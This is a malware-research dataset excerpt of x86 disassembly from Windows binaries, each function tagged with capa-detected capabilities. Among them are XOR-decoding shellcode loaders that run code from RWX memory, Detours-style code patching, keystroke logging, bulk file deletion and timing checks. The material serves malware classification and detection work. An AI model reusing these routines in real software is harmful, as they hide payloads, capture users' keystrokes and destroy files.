joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10098a90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp + 8]
push eax
push 0x40
push 1
push esi
call edi
mov eax, dword [ebp + 8]
mov cl, byte [ebp + 0xc]
lea edx, [ebp + 8]
push edx
push eax
push 1
push esi
mov byte [esi], cl
call edi
pop edi
pop esi
pop ebp
ret

Function at 0x10098ac0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 2
push esi
call edi
mov eax, dword [ebp - 4]
mov cx, word [ebp + 8]
lea edx, [ebp - 4]
push edx
push eax
push 2
push esi
mov word [esi], cx
call edi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10098af0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 4
push esi
call edi
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 4]
push edx
push eax
push 4
push esi
mov dword [esi], ecx
call edi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10098b20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 4
push esi
call edi
fld dword [ebp + 8]
mov edx, dword [ebp - 4]
fstp dword [esi]
lea ecx, [ebp - 4]
push ecx
push edx
push 4
push esi
call edi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10098b50
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp + 8]
push eax
push 0x40
push 8
push esi
call edi
fld qword [ebp + 0xc]
mov edx, dword [ebp + 8]
fstp qword [esi]
lea ecx, [ebp + 8]
push ecx
push edx
push 8
push esi
call edi
pop edi
pop esi
pop ebp
ret

Function at 0x10098b80
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push esi
call edi
cmp bl, 0xff
je 0x10098ba1
mov byte [esi], bl
mov ecx, dword [ebp + 0xc]
sub ecx, esi
sub ecx, 5
lea edx, [ebp - 4]
push edx
mov dword [esi + 1], ecx
mov eax, dword [ebp - 4]
push eax
push 5
push esi
call edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10098bc0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push 0x40
push esi
push edi
call ebx
mov ecx, dword [ebp + 0xc]
push esi
push ecx
push edi
call sub.MSVCR100.dll_memcpy
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 4]
push edx
push eax
push esi
push edi
call ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10098c00
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push esi
push edi
call ebx
push esi
push 0x90
push edi
call sub.MSVCR100.dll_memset
mov edx, dword [ebp - 4]
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push edx
push esi
push edi
call ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10098c40
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x40
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebx + 5]
push ecx
call dword [sym.imp.MSVCR100.dll_malloc]
push ebx
mov esi, eax
push edi
push esi
call sub.MSVCR100.dll_memcpy
mov edx, edi
sub edx, esi
mov byte [esi + ebx], 0xe9
sub edx, 5
mov dword [esi + ebx + 1], edx
lea eax, [ebx - 5]
push eax
sub esi, edi
lea ecx, [edi + 5]
push 0x90
sub esi, 5
push ecx
mov byte [edi], 0xe9
mov dword [edi + 1], esi
call sub.MSVCR100.dll_memset
mov eax, dword [ebp - 4]
add esp, 0x1c
lea edx, [ebp - 4]
push edx
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10098d00
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [0x1061bfb8]
push esi
push 0x100b6b18
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x10098df4
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
cmp eax, 0xc
jb 0x10098df4
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 8], eax
test eax, eax
je 0x10098df4
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x10098de9
mov edx, dword [edi + 4]
push esi
push ebx
cmp edx, dword [edi + 8]
jne 0x10098daa
mov eax, dword [edi]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
lea edx, [ecx*4 + 0xc]
cmp eax, edx
jb 0x10098df3
xor ebx, ebx
test ecx, ecx
je 0x10098de9
mov eax, dword [ebp + 8]
mov esi, dword [edi + ebx*4 + 0xc]
push eax
call fcn.10098af0
inc ebx
add esp, 4
cmp ebx, dword [edi]
jb 0x10098d84
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [edi]
mov dword [ebp - 4], ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
lea edx, [ecx*8 + 0xc]
cmp eax, edx
jb 0x10098df3
xor ebx, ebx
test ecx, ecx
je 0x10098de9
lea esp, [esp]
mov eax, dword [edi + ebx*8 + 0x10]
add eax, dword [ebp + 8]
mov esi, dword [edi + ebx*8 + 0xc]
push eax
call fcn.10098af0
inc ebx
add esp, 4
cmp ebx, dword [edi]
jb 0x10098dd0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10098e00
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
movzx esi, si
push edi
push esi
call fcn.100a9705
push esi
mov edi, eax
push 0x90
push edi
call sub.MSVCR100.dll_memset
add esp, 0x10
lea eax, [ebp - 4]
push eax
push 0x40
push esi
push ebx
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10098e45
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
mov esp, ebp
pop ebp
ret
push esi
push edi
push ebx
call sub.MSVCR100.dll_memcpy
mov edx, dword [ebp - 4]
add esp, 0xc
lea ecx, [ebp - 8]
push ecx
push edx
push esi
push ebx
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10098e3a
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10098f60
Capabilities:
Get keyboard layout
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x100bc018]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov edi, eax
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push edi
push 0
lea ecx, [ebp - 0x108]
push ecx
lea edx, [ebp - 0x104]
push edx
push 0
push esi
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
push esi
call dword [sym.imp.USER32.dll_ToAsciiEx]
pop edi
cmp eax, 1
jne 0x10098fc8
mov ax, word [ebp - 0x108]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100ab6d6
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.100ab6d6
mov esp, ebp
pop ebp
ret

Function at 0x100998c0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x10125d50]
cmp eax, 0x3e8
jb 0x1009990d
mov eax, 0x7e
mov ecx, 0x10123c90
call fcn.10051040
test al, al
je 0x1009990d
cmp dword [ebp + 8], 0x201
jne 0x100998ff
mov byte [0x10125d54], 1
pop esi
pop ebp
ret
mov byte [0x10125d54], 0
call esi
mov dword [0x10125d50], eax
pop esi
pop ebp
ret

Function at 0x100a97b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.100a9950
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x100a9874
cmp dword [ebp - 4], 0x50000000
jb 0x100a97f1
cmp dword [ebp - 4], 0x80000000
ja 0x100a97f1
mov dword [ebp - 4], 0x4fff0000
jmp 0x100a97ca
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x100a9817
jmp 0x100a9874
cmp dword [ebp - 0x14], 0x10000
jne 0x100a985a
cmp dword [ebp - 0x18], 0x10000
jb 0x100a985a
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100a984d
mov eax, dword [ebp - 8]
jmp 0x100a9876
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x100a986f
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.100a9950
add esp, 4
mov dword [ebp - 4], eax
jmp 0x100a97ca
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x100a9880
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.100a9980
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x100a993c
cmp dword [ebp - 4], 0x50000000
jb 0x100a98bc
cmp dword [ebp - 4], 0x80000000
ja 0x100a98bc
mov dword [ebp - 4], 0x80010000
jmp 0x100a9895
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x100a98e2
jmp 0x100a993c
cmp dword [ebp - 0x14], 0x10000
jne 0x100a9925
cmp dword [ebp - 0x18], 0x10000
jb 0x100a9925
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100a9918
mov eax, dword [ebp - 8]
jmp 0x100a993e
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x100a9937
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.100a9980
add esp, 4
mov dword [ebp - 4], eax
jmp 0x100a9895
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x100aa0b0
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
cmp dword [eax], 0x52727464
je 0x100aa0c5
xor eax, eax
jmp 0x100aa13a
mov ecx, dword [ebp + 8]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
add edx, 0x10000
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 8]
add eax, 0x48
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
jmp 0x100aa0f2
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0x38d
jae 0x100aa135
mov edx, dword [ebp - 4]
imul edx, edx, 0x48
mov eax, dword [ebp - 8]
cmp dword [eax + edx + 0x40], 0
je 0x100aa133
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0x48
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx + 0x40]
cmp eax, dword [ebp - 0xc]
jb 0x100aa12f
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0x48
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx + 0x40]
cmp eax, dword [ebp - 0x10]
jb 0x100aa133
xor eax, eax
jmp 0x100aa13a
jmp 0x100aa0e9
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x100aa300
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x10610280]
mov dword [ebp - 4], eax
jmp 0x100aa319
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x100aa336
lea eax, [ebp - 8]
push eax
push 0x40
push 0x10000
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x100aa310
mov esp, ebp
pop ebp
ret
Function at 0x100aa780
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x10610290], eax
je 0x100aa79e
mov eax, 0x10dd
jmp 0x100aa87f
mov eax, dword [0x106102a0]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x100aa81c
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
movzx eax, byte [edx + 0x36]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x100aa7fa
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x10], 0
je 0x100aa7fa
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
call fcn.100a9e20
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
push edx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
jmp 0x100aa7a6
mov dword [0x106102a0], 0
call fcn.100aa140
mov ecx, dword [0x1061029c]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x100aa869
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
push ecx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov edx, dword [ebp - 0x18]
mov dword [ebp - 8], edx
jmp 0x100aa834
mov dword [0x1061029c], 0
mov dword [0x10610290], 0
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x100aad70
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x10610294], 0
je 0x100aad89
mov eax, dword [0x10610294]
jmp 0x100aae29
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp dword [ebp + 8], eax
jne 0x100aad9b
xor eax, eax
jmp 0x100aae29
push 8
call fcn.100ab7f6
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100aadf1
mov dword [ebp - 8], 8
cmp dword [ebp - 4], 0
je 0x100aadda
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
push edx
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov dword [0x10610294], eax
mov dword [0x10610298], 0
mov eax, dword [ebp - 8]
jmp 0x100aae29
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x100aae0b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
jmp 0x100aadbb
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x1061029c]
mov dword [ecx], edx
mov eax, dword [ebp - 4]
mov dword [0x1061029c], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4

Function at 0x100ab6d6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100bc018]
jne 0x100ab6e0
repz ret
jmp fcn.100abce5
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x402c00
pop dword [ebp - 0x1c]
mov eax, 0x402c00
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x7005ace9
add dword [ebp - 0x2c], 0xde4c9862
mov dword [ebp - 0x28], 0x8e537db9
sub dword [ebp - 0x28], 0x5c203174
mov dword [ebp - 0x24], 0x9aae084d
sub dword [ebp - 0x24], 0x4e61c41f
mov dword [ebp - 0x20], 0xc1523840
add dword [ebp - 0x20], 0x3eadc7c0
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x9bd8c44e
sub eax, 0x9b9843c2
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xff9197f2
add dword [ebp - 0x2c], 0x74e0d164
mov dword [ebp - 0x28], 0x7941b4f9
add dword [ebp - 0x28], 0xc82aac7c
mov dword [ebp - 0x24], 0xc26186e7
sub dword [ebp - 0x24], 0x5ef21a7b
mov dword [ebp - 0x20], 0x27b03108
add dword [ebp - 0x20], 0xd84fcef8
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x54982d66
sub eax, 0x5457ac92
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x37432
push 0
call eax
mov ecx, 0x6ecd80ea
add ecx, 0x9132c961
mov edx, eax
mov edi, 0x411000
add edi, dword [ebp - 0x1c]
mov esi, 0xc0f1ab3a
xor dword [ebp - 8], ecx
mov ebx, dword [edi]
add dword [ebp - 0x10], ecx
xor ebx, esi
xor dword [ebp - 8], edx
mov dword [edx], ebx
xor dword [ebp - 8], 0x2bb23686
add edx, 0x29bea7f1
sub edx, 0x29bea7ed
add edi, 4
loop 0x402d11
add eax, 0xee554504
sub eax, 0xee542905
mov ebx, eax
add eax, 5
mov ecx, 0x1b90b88e
add ecx, 0xe4af4772
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x401016
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x4010a6
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x4010a3
push 0x5c
push esi
call dword [sym.imp.MSVCR80.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x4010a3
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40107c
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x401075
test ebp, ebp
je 0x401075
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x40107c
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x40109d
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x40109d
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x40102e
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x401bc8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x401bd7
pop dword [ebp - 0x14]
mov eax, 0x401bd7
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x22a3bdd1
sub dword [ebp - 0x24], 0xd4517886
mov dword [ebp - 0x20], 0xdb5bc378
sub dword [ebp - 0x20], 0xa9287733
mov dword [ebp - 0x1c], 0x5bd8c1ed
add dword [ebp - 0x1c], 0xf0738241
mov dword [ebp - 0x18], 0x75fe036f
add dword [ebp - 0x18], 0x8a01fc91
lea eax, [ebp - 0x24]
push eax
mov eax, 0xdcbbb96b
add eax, 0x2384b6f5
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x74d032e8
sub dword [ebp - 0x24], 0x5dc992
mov dword [ebp - 0x20], 0x422ff8e3
add dword [ebp - 0x20], 0xff3c6892
mov dword [ebp - 0x1c], 0x4d60d156
add dword [ebp - 0x1c], 0x160e9b16
mov dword [ebp - 0x18], 0x2564a122
sub dword [ebp - 0x18], 0x2564a122
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x37b5b
push 0
call eax
mov ecx, 0x4c8a
xor edi, edi
add edi, eax
mov esi, 0x589f3ef8
sub esi, 0x585e3ef8
add esi, dword [ebp - 0x14]
mov ebx, 0x45227a21
add ebx, 0x950cadd5
sub dword [ebp - 0x10], 0x22a80cd
mov edx, dword [esi]
xor dword [ebp - 4], 0x498d31e8
xor edx, ebx
sub dword [ebp - 4], 0x7681295f
mov dword [edi], edx
mov dword [ebp - 0xc], 0x6c259a28
add edi, 0x28862d
add edi, 0xffd779d7
add esi, 0x142ac146
sub esi, 0x142ac142
loop 0x401ceb
add eax, 0xef0d3aa5
add eax, 0x10f3ea56
mov ebx, eax
add eax, 5
mov ecx, 0x1fcf4245
add ecx, 0xe070bdbb
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x401005
Capabilities:
Write file on windows

Disassembly:
jmp 0x408d70
push ecx
mov ecx, dword [esp + 0xc]
push esi
mov esi, dword [esp + 0x14]
xor eax, eax
test esi, esi
mov dword [esp + 4], 0
jbe 0x408d97
mov dl, byte [eax + ecx]
neg dl
mov byte [eax + ecx], dl
add eax, 1
cmp eax, esi
jb 0x408d88
push 0
lea eax, [esp + 8]
push eax
push esi
push ecx
mov ecx, dword [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
pop ecx
ret
Function at 0x40104b
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
jmp 0x408b90
sub esp, 0x34c
mov eax, dword [0x43f1c0]
xor eax, esp
mov dword [esp + 0x348], eax
push ebx
push esi
mov esi, dword [esp + 0x358]
push edi
mov edi, dword [esp + 0x360]
xor ebx, ebx
push 0x103
lea eax, [esp + 0x255]
push ebx
push eax
mov byte [esp + 0x25c], bl
call fcn.0040d630
push edi
push esi
lea ecx, [esp + 0x264]
push 0x4383d0
push ecx
call fcn.0040c979
add esp, 0x1c
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x408c83
push ebp
push 0x103
lea ecx, [esp + 0x155]
push ebx
push ecx
mov byte [esp + 0x15c], bl
call fcn.0040d630
mov ebp, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0xc
test byte [esp + 0x10], 0x10
jne 0x408c6b
lea edx, [esp + 0x3c]
push edx
push esi
lea eax, [esp + 0x158]
push 0x4383d0
push eax
call fcn.0040c979
add esp, 0x10
push 0x80
lea ecx, [esp + 0x154]
push ecx
call ebp
lea edx, [esp + 0x150]
push edx
call ebx
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x408c30
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebp
mov ecx, dword [esp + 0x354]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040c96a
add esp, 0x34c
ret

Function at 0x40106e
Capabilities:
Enumerate processes

Disassembly:
jmp 0x403a80
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x403aa2
push str.createSnapshot__of_processes_
call fcn.004010d2
add esp, 4
xor eax, eax
pop edi
ret
push esi
mov esi, dword [esp + 0x10]
push esi
push edi
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x403abf
push str.process32First
jmp 0x403aeb
push ebx
mov ebx, dword [esp + 0x10]
cmp dword [esi + 8], ebx
je 0x403ae3
lea esp, [esp]
push esi
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x403ae0
cmp dword [esi + 8], ebx
jne 0x403ad0
cmp dword [esi + 8], ebx
pop ebx
je 0x403aff
push str.finding_proc_failed.
call fcn.004010d2
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
xor eax, eax
pop edi
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov eax, 1
pop edi
ret